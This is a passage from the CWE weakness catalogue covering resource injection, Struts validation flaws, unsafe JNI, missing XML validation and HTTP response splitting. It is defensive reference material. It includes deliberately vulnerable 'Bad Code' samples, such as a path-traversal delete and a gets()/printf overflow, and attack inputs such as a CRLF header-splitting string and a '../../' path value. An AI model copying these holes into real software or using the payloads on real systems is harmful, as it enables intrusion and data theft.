Can overlap directory traversal in local inclusion problems.

Research Gaps

Under-researched and under-reported. Other interpreted languages with "require" and "include" functionality could also product vulnerable applications, but as of 2007, PHP has been the focus. Any web-accessible language that uses executable file extensions is likely to have this type of issue, such as ASP, since .asp extensions are typically executable. Languages such as Perl are less likely to exhibit these problems because the .pl extension isn't always configured to be executable by the web server.

Affected Resources

- File/Directory

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			PHP File Include
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution

References

Shaun Clowes. "A Study in Scarlet". < http://www.cgisecurity.com/lib/studyinscarlet.txt >.

CWE-99: Insufficient Control of Resource Identifiers (aka 'Resource Injection')

Weakness ID: 99 *(Weakness Base)* **Status:** Draft

Description

Summary

The software allows user-controlled input to control resource identifiers. This may enable an attacker to access or modify otherwise protected system resources.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

The following Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files.

Java Example: *Bad Code*

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

Example 2:

The following code uses input from the command line to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can create soft links to the file, they can use the program to read the first part of any file on the system.

C++ Example: *Bad Code*

```
ifstream ifs(argv[0]);
string s;
ifs >> s;
cout << s;
```

The kind of resource the data affects indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash, are risky when used

in methods that interact with the file system. (Resource injection, when it is related to file system resources, sometimes goes by the name "path manipulation.") Similarly, data that contains URLs and URIs is risky for functions that create remote connections.

Potential Mitigations

Assume all input is malicious. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system.

Other Notes

A resource injection issue occurs when the following two conditions are met: 1. An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used. 2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server. Note: Resource injection that involves resources stored on the filesystem goes by the name path manipulation and is reported in separate category. See the path manipulation description for further details of this vulnerability.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	20	Improper Input Validation	**700**	14
CanAlsoBe	W	73	External Control of File Name or Path	1000	67
ChildOf	W	74	Failure to Sanitize Data into a Different Plane ('Injection')	**699** **1000**	70
PeerOf	W	706	Use of Incorrectly-Resolved Name or Reference	1000	708
PeerOf	W	*621*	*Variable Extraction Error*	*1000*	*606*
MemberOf	V	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*
ParentOf	W	*641*	*Insufficient Filtering of File and Other Resource Names for Executable Content*	***699*** ***1000***	*624*

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Resource Injection

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
10	Buffer Overflow via Environment Variables	
75	Manipulating Writeable Configuration Files	

White Box Definitions

A weakness where the code path has:

1. start statement that accepts input followed by
2. a statement that allocates a System Resource where the input is part of the name of the System Resource
3. end statement that accesses the System Resource where the input is undesirable

Where "input is undesirable" is defined through the following scenarios:

1. input not validated
2. input incorrectly validated

CWE-100: Technology-Specific Input Validation Problems

Weakness ID: 100 *(Weakness Class)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are caused by inadequately implemented input validation within particular technologies.

Time of Introduction

- Architecture and Design
- Implementation

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	20	Improper Input Validation	**699 1000**	14
ParentOf		*101*	*Struts Validation Problems*	***699***	*120*
PeerOf	Wb	*618*	*Exposed Unsafe ActiveX Method*	*1000*	*603*

CWE-101: Struts Validation Problems

Category ID: 101 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are caused by inadequately implemented protection mechanisms that use the STRUTS framework.

Applicable Platforms

Languages

- Java

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	100	Technology-Specific Input Validation Problems	**699**	119
ParentOf	Wv	*102*	*Struts: Duplicate Validation Forms*	***699***	*120*
ParentOf	Wv	*103*	*Struts: Incomplete validate() Method Definition*	***699***	*121*
ParentOf	Wv	*104*	*Struts: Form Bean Does Not Extend Validation Class*	***699***	*122*
ParentOf	Wv	*105*	*Struts: Form Field Without Validator*	***699***	*123*
ParentOf	Wv	*106*	*Struts: Plug-in Framework not in Use*	***699***	*124*
ParentOf	Wv	*107*	*Struts: Unused Validation Form*	***699***	*125*
ParentOf	Wv	*108*	*Struts: Unvalidated Action Form*	***699***	*125*
ParentOf	Wv	*109*	*Struts: Validator Turned Off*	***699***	*126*
ParentOf	Wv	*110*	*Struts: Validator Without Form Field*	***699***	*127*
ParentOf	Wv	*608*	*Struts: Non-private Field in ActionForm Class*	***699***	*595*

CWE-102: Struts: Duplicate Validation Forms

Weakness ID: 102 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The application uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect.

Extended Description

If two validation forms have the same name, the Struts Validator arbitrarily chooses one of the forms to use for input validation and discards the other. This decision might not correspond to the programmer's expectations, possibly leading to resultant weaknesses. Moreover, it indicates that the validation logic is not up-to-date, and can indicate that other, more subtle validation errors are present.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

Two validation forms with the same name.

Bad Code

```
<form-validation>
  <formset>
    <form name="ProjectForm"> ... </form>
    <form name="ProjectForm"> ... </form>
  </formset>
</form-validation>
```

It is critically important that validation logic be maintained and kept in sync with the rest of the application.

Potential Mitigations

Implementation

The DTD or schema validation will not catch the duplicate occurrence of the same form name. To find the issue in the implementation, manual checks or automated static analysis could be applied to the xml configuration files.

Other Notes

Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities can all stem from incomplete or absent input validation. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	20	Improper Input Validation	**700**	14
ChildOf	Category	101	Struts Validation Problems	**699**	120
ChildOf	Weakness	694	Use of Multiple Resources with Duplicate Identifier	**1000**	685
ChildOf	Category	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	**711**	716
PeerOf	Weakness	*675*	*Duplicate Operations on Resource*	*1000*	*663*

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Struts: Duplicate Validation Forms

CWE-103: Struts: Incomplete validate() Method Definition

Weakness ID: 103 *(Weakness Variant)* **Status:** Draft

Description

Summary

The application has a validator form that either fails to define a validate() method, or defines a validate() method but fails to call super.validate().

Extended Description

If you do not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Disabling the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is the root cause of vulnerabilities like cross-site scripting, process control, and SQL injection.

Potential Mitigations

Implement the validate() method and call super.validate() within that method.

Background Details

The Struts Validator uses a form's validate() method to check the contents of the form properties against the constraints specified in the associated validation form. That means the following classes have a validate() method that is part of the validation framework: ValidatorForm, ValidatorActionForm, DynaValidatorForm, and DynaValidatorActionForm. If you create a class that extends one of these classes, and if your class implements custom validation logic by overriding the validate() method, you must call super.validate() in your validate() implementation.

Other Notes

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	20	Improper Input Validation	**700**	14
ChildOf	Category	101	Struts Validation Problems	**699**	120
ChildOf	Weakness	573	Failure to Follow Specification	**1000**	570
ChildOf	Category	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	**711**	716

Relationship Notes

This could introduce other weaknesses related to missing input validation.

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Struts: Erroneous validate() Method

Maintenance Notes

The current description implies a loose composite of two separate weaknesses, so this node might need to be split or converted into a low-level category.

CWE-104: Struts: Form Bean Does Not Extend Validation Class

Weakness ID: 104 *(Weakness Variant)* **Status:** Draft

Description

Summary

If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Bypassing the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is an important component of vulnerabilities like cross-site scripting, process control, and SQL injection.

Potential Mitigations

All forms must extend one of the Validation Class (See Context notes).

Background Details

In order to use the Struts Validator, a form must extend one of the following: ValidatorForm, ValidatorActionForm, DynaValidatorActionForm, and DynaValidatorForm. You must extend one of these classes because the Struts Validator ties in to your application by implementing the validate() method in these classes. Forms derived from the ActionForm and DynaActionForm classes cannot use the Struts Validator.

Other Notes

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	20	Improper Input Validation	**700**	14
ChildOf	C	101	Struts Validation Problems	**699**	120
ChildOf	Wc	573	Failure to Follow Specification	**1000**	570
ChildOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	**711**	716

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Struts: Form Bean Does Not Extend Validation Class

CWE-105: Struts: Form Field Without Validator

Weakness ID: 105 *(Weakness Variant)* **Status:** Draft

Description

Summary

The application has a form field that is not validated by a corresponding validation form, which can introduce other weaknesses related to insufficient input validation.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Potential Mitigations

Ensure that you validate all form fields. If a field is unused, it is still important to constrain them so that they are empty or undefined.

Other Notes

Omitting validation for even a single input field may give attackers the leeway they need to compromise your application. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities can stem from incomplete or absent input validation. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack. Some applications

use the same ActionForm for more than one purpose. In situations like this, some fields may go unused under some action mappings. It is critical that unused fields be validated too. Preferably, unused fields should be constrained so that they can only be empty or undefined. If unused fields are not validated, shared business logic in an action may allow attackers to bypass the validation checks that are performed for other uses of the form.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	20	Improper Input Validation	**700** **1000**	14
ChildOf	C	101	Struts Validation Problems	**699**	120

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Struts: Form Field Without Validator

CWE-106: Struts: Plug-in Framework not in Use

Weakness ID: 106 *(Weakness Variant)* **Status:** Draft

Description

Summary

When an application does not use an input validation framework such as the Struts Validator, there is a greater risk of introducing weaknesses related to insufficient input validation.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Potential Mitigations

Use an input validation framework such as Struts.

Other Notes

Unchecked input is the leading cause of vulnerabilities in J2EE applications. Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack. To prevent such attacks, use the Struts Validator to check all program input before it is processed by the application. Ensure that there are no holes in your configuration of the Struts Validator. Example uses of the validator include checking to ensure that: * Phone number fields contain only valid characters in phone numbers * Boolean values are only "T" or "F" * Free-form strings are of a reasonable length and composition

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	20	Improper Input Validation	**700**	14
ChildOf	C	101	Struts Validation Problems	**699**	120
ChildOf	Wc	693	Protection Mechanism Failure	**1000**	684
ChildOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	**711**	716

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Struts: Plug-in Framework Not In Use

CWE-107: Struts: Unused Validation Form

Weakness ID: 107 *(Weakness Variant)* **Status:** Draft

Description

Summary

An unused validation form indicates that validation logic is not up-to-date.

Extended Description

It is easy for developers to forget to update validation logic when they remove or rename action form mappings. One indication that validation logic is not being properly maintained is the presence of an unused validation form.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- Java

Potential Mitigations

Remove the unused Validation Form from the validation.xml file.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	20	Improper Input Validation	**700**	14
ChildOf	C	101	Struts Validation Problems	**699**	120
ChildOf	WE	398	Indicator of Poor Code Quality	**1000**	423

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Struts: Unused Validation Form

CWE-108: Struts: Unvalidated Action Form

Weakness ID: 108 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Every Action Form must have a corresponding validation form.

Extended Description

If a Struts Action Form Mapping specifies a form, it must have a validation form defined under the Struts Validator.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

If an action form mapping does not have a validation form defined, it may be vulnerable to a number of attacks that rely on unchecked input. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.

Potential Mitigations

Map every Action Form to a corresponding validation form.

Other Notes

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack. An action or a form may perform validation in other ways, but the Struts Validator provides an excellent way to verify that all input receives at least a basic level of checking. Without this approach, it is difficult, and often impossible, to establish with a high level of confidence that all input is validated.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	20	Improper Input Validation	**700** **1000**	14
ChildOf	Category	101	Struts Validation Problems	**699**	120

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Struts: Unvalidated Action Form

CWE-109: Struts: Validator Turned Off

Weakness ID: 109 *(Weakness Variant)* **Status:** Draft

Description

Summary

Automatic filtering via a Struts bean has been turned off, which disables the Struts Validator and custom validation logic. This exposes the application to other weaknesses related to insufficient input validation.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

An action form mapping that disables validation.

Java Example: *Bad Code*

```
<action path="/download"
type="com.website.d2.action.DownloadAction"
name="downloadForm"
scope="request"
input=".download"
validate="false">
</action>
```

Disabling validation exposes this action to numerous types of attacks. Unchecked input is the root cause of vulnerabilities like cross-site scripting, process control, and SQL injection. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Potential Mitigations

Ensure that an action form mapping enables validation. In the included demonstrative example, the validate field should be set to true.

Other Notes

The Action Form mapping in the demonstrative example disables the form's validate() method. The Struts bean: write tag automatically filters special HTML characters, replacing a < with &lt and a > with &gt. This action can be disabled by specifying filter="false" as an attribute of the tag to disable specified JSP pages. However, being disabled makes these pages susceptible to cross-site scripting attacks. An attacker may be able to insert malicious scripts as user input to write to these JSP pages.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	20	Improper Input Validation	**700**	14
ChildOf	C	101	Struts Validation Problems	**699**	120
ChildOf	WE	693	Protection Mechanism Failure	**1000**	684
ChildOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	**711**	716

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Struts: Validator Turned Off

CWE-110: Struts: Validator Without Form Field

Weakness ID: 110 *(Weakness Variant)* **Status:** Draft

Description

Summary

Validation fields that do not appear in forms they are associated with indicate that the validation logic is out of date.

Extended Description

It is easy for developers to forget to update validation logic when they make changes to an ActionForm class. One indication that validation logic is not being properly maintained is inconsistencies between the action form and the validation form.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- Java

Common Consequences

It is critically important that validation logic be maintained and kept in sync with the rest of the application. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.

Demonstrative Examples

Example 1:

An action form with two fields.

Bad Code

```
public class DateRangeForm extends ValidatorForm {
  String startDate, endDate;
  public void setStartDate(String startDate) {
    this.startDate = startDate;
  }
  public void setEndDate(String endDate) {
    this.endDate = endDate;
  }
```

```
}
```

This example shows an action form that has two fields, startDate and endDate.

Example 2:

A validation form with a third field.

Bad Code

```
<form name="DateRangeForm">
  <field property="startDate" depends="date">
    <arg0 key="start.date"/>
  </field>
  <field property="endDate" depends="date">
    <arg0 key="end.date"/>
  </field>
  <field property="scale" depends="integer">
    <arg0 key="range.scale"/>
  </field>
</form>
```

This example lists a validation form for the action form. The validation form lists a third field: scale. The presence of the third field suggests that DateRangeForm was modified without taking validation into account.

Potential Mitigations

To find the issue in the implementation, manual checks or automated static analysis could be applied to the xml configuration files.

Other Notes

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	20	Improper Input Validation	**700**	14
ChildOf		101	Struts Validation Problems	**699**	120
ChildOf	Wc	398	Indicator of Poor Code Quality	**1000**	423

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Struts: Validator Without Form Field

CWE-111: Direct Use of Unsafe JNI

Weakness ID: 111 *(Weakness Base)* **Status:** Draft

Description

Summary

When a Java application uses the Java Native Interface (JNI) to call code written in another programming language, it can expose the application to weaknesses in that code, even if those weaknesses cannot occur in Java.

Extended Description

Native code is unprotected by the security features enforced by the runtime environment, such as strong typing and array bounds checking.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

The following code defines a class named Echo. The class declares one native method (defined below), which uses C to echo commands entered on the console back to the user. The following C code defines the native method implemented in the Echo class:

Java Example:

```
class Echo {
  public native void runEcho();
  static {
    System.loadLibrary("echo");
  }
  public static void main(String[] args) {
    new Echo().runEcho();
  }
}
```

C Example:

```
#include <jni.h>
#include "Echo.h"//the java class above compiled with javah
#include <stdio.h>
JNIEXPORT void JNICALL
Java_Echo_runEcho(JNIEnv *env, jobject obj)
{
  char buf[64];
  gets(buf);
  printf(buf);
}
```

Because the example is implemented in Java, it may appear that it is immune to memory issues like buffer overflow vulnerabilities. Although Java does do a good job of making memory operations safe, this protection does not extend to vulnerabilities occurring in source code written in other languages that are accessed using the Java Native Interface. Despite the memory protections offered in Java, the C code in this example is vulnerable to a buffer overflow because it makes use of gets(), which does not perform any bounds checking on its input. The Sun Java(TM) Tutorial provides the following description of JNI [See Reference]: The JNI framework lets your native method utilize Java objects in the same way that Java code uses these objects. A native method can create Java objects, including arrays and strings, and then inspect and use these objects to perform its tasks. A native method can also inspect and use objects created by Java application code. A native method can even update Java objects that it created or that were passed to it, and these updated objects are available to the Java application. Thus, both the native language side and the Java side of an application can create, update, and access Java objects and then share these objects between them. The vulnerability in the example above could easily be detected through a source code audit of the native method implementation. This may not be practical or possible depending on the availability of the C source code and the way the project is built, but in many cases it may suffice. However, the ability to share objects between Java and native methods expands the potential risk to much more insidious cases where improper data handling in Java may lead to unexpected vulnerabilities in native code or unsafe operations in native code corrupt data structures in Java. Vulnerabilities in native code accessed through a Java application are typically exploited in the same manner as they are in applications written in the native language. The only challenge to such an attack is for the attacker to identify that the Java application uses native code to perform certain operations. This can be accomplished in a variety of ways, including identifying specific behaviors that are often implemented with native code or by exploiting a system information leak in the Java application that exposes its use of JNI [See Reference].

Potential Mitigations

Implement error handling around the JNI call.

Do not use JNI calls if you don't trust the native library.

Be reluctant to use JNI calls. A Java API equivalent may exist.

Other Notes

Many safety features that programmers may take for granted simply do not apply for native code, so you must carefully review all such code for potential problems. Other programming languages that may be more susceptible to buffer overflows and other attacks, such as C or C++, usually implement native code. Language-based encapsulation is broken.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	20	Improper Input Validation	**699** **700**	14
ChildOf	We	695	Use of Low-Level Functionality	**1000**	686

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Unsafe JNI

References

Fortify Software. "Fortify Descriptions". < http://vulncat.fortifysoftware.com >.

B. Stearns. "The Java(TM) Tutorial: The Java Native Interface". Sun Microsystems. 2005. < http://java.sun.com/docs/books/tutorial/native1.1/ >.

CWE-112: Missing XML Validation

Weakness ID: 112 *(Weakness Base)* **Status:** Draft

Description

Summary

Failure to enable validation when parsing XML gives an attacker the opportunity to supply malicious input.

Extended Description

Most successful attacks begin with a violation of the programmer's assumptions. By accepting an XML document without validating it against a DTD or XML schema, the programmer leaves a door open for attackers to provide unexpected, unreasonable, or malicious input.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

Example 1:

The following code loads an XML file without validating it against a known XML Schema or DTD.

Bad Code

```
// Read DOM
try {
  ...
  DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
  factory.setValidating( false );
  ....
  c_dom = factory.newDocumentBuilder().parse( xmlFile );
} catch(Exception ex) {
  ...
}
```

Example 2:

The following code excerpt creates a non-validating XML DocumentBuilder object (one that doesn't validate an XML document against a schema).

Java Example: *Bad Code*

```
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
DocumenbBuilder builder = builderFactory.newDocumentBuilder();
```

Potential Mitigations

Always validate XML input against a known XML Schema or DTD.

Other Notes

It is not possible for an XML parser to validate all aspects of a document's content; a parser cannot understand the complete semantics of the data. However, a parser can do a complete and thorough job of checking the document's structure and therefore guarantee to the code that processes the document that the content is well-formed.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WG	20	Improper Input Validation	**699** **700** **1000**	14

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Missing XML Validation

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
99	XML Parser Attack	

CWE-113: Failure to Sanitize CRLF Sequences in HTTP Headers (aka 'HTTP Response Splitting')

Weakness ID: 113 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software fails to adequately filter HTTP headers for CR and LF characters.

Extended Description

Including unvalidated data in an HTTP header allows an attacker to specify the entirety of the HTTP response rendered by the browser. When an HTTP request contains unexpected CR and LF characters the server may respond with an output stream that is interpreted as two different HTTP responses (instead of one). An attacker can control the second response and mount attacks such as cross-site scripting and cache poisoning attacks.

HTTP response splitting vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.
2. The data is included in an HTTP response header sent to a web user without being validated for malicious characters.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

Example 1:

The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.

Bad Code

```
String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);
```

Assuming a string consisting of standard alpha-numeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:

Good Code

```
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
```

However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as

Attack

```
Wiley Hacker\r\nHTTP/1.1 200 OK\r\n
```

then the HTTP response would be split into two responses of the following form:

Bad Code

```
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker HTTP/1.1 200 OK
...
```

Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including:

- cross-user defacement
- web and browser cache poisoning
- cross-site scripting
- page hijacking

Example 2:

An attacker can make a single request to a vulnerable server that will cause the sever to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the sever. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server.

In the best case, an attacker can leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application.

In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Example 3:

The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the

malicious content until the cache entry is purged, although the user of the local browser instance will be affected.

Example 4:

Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser.

The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Example 5:

In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker can cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker.

Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Observed Examples

Reference	Description
CVE-2004-1620	HTTP response splitting via CRLF in parameter related to URL.
CVE-2004-1656	HTTP response splitting via CRLF in parameter related to URL.
CVE-2004-1687	Chain: HTTP response splitting via CRLF in parameter related to URL.
CVE-2004-2146	Application accepts CRLF in an object ID, allowing HTTP response splitting.
CVE-2004-2512	Response splitting via CRLF in PHPSESSID.
CVE-2005-1951	Chain: Application accepts CRLF in an object ID, allowing HTTP response splitting.
CVE-2005-2060	Bulletin board allows response splitting via CRLF in parameter.
CVE-2005-2065	Bulletin board allows response splitting via CRLF in parameter.

Potential Mitigations

Construct HTTP headers very carefully, avoiding the use of non-validated input data.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Other Notes

As with many software security vulnerabilities, HTTP response splitting is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header. To mount a successful exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Note that HTTP response splitting is probably only multi-factor in an environment that uses intermediaries.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	20	Improper Input Validation	**700**	14
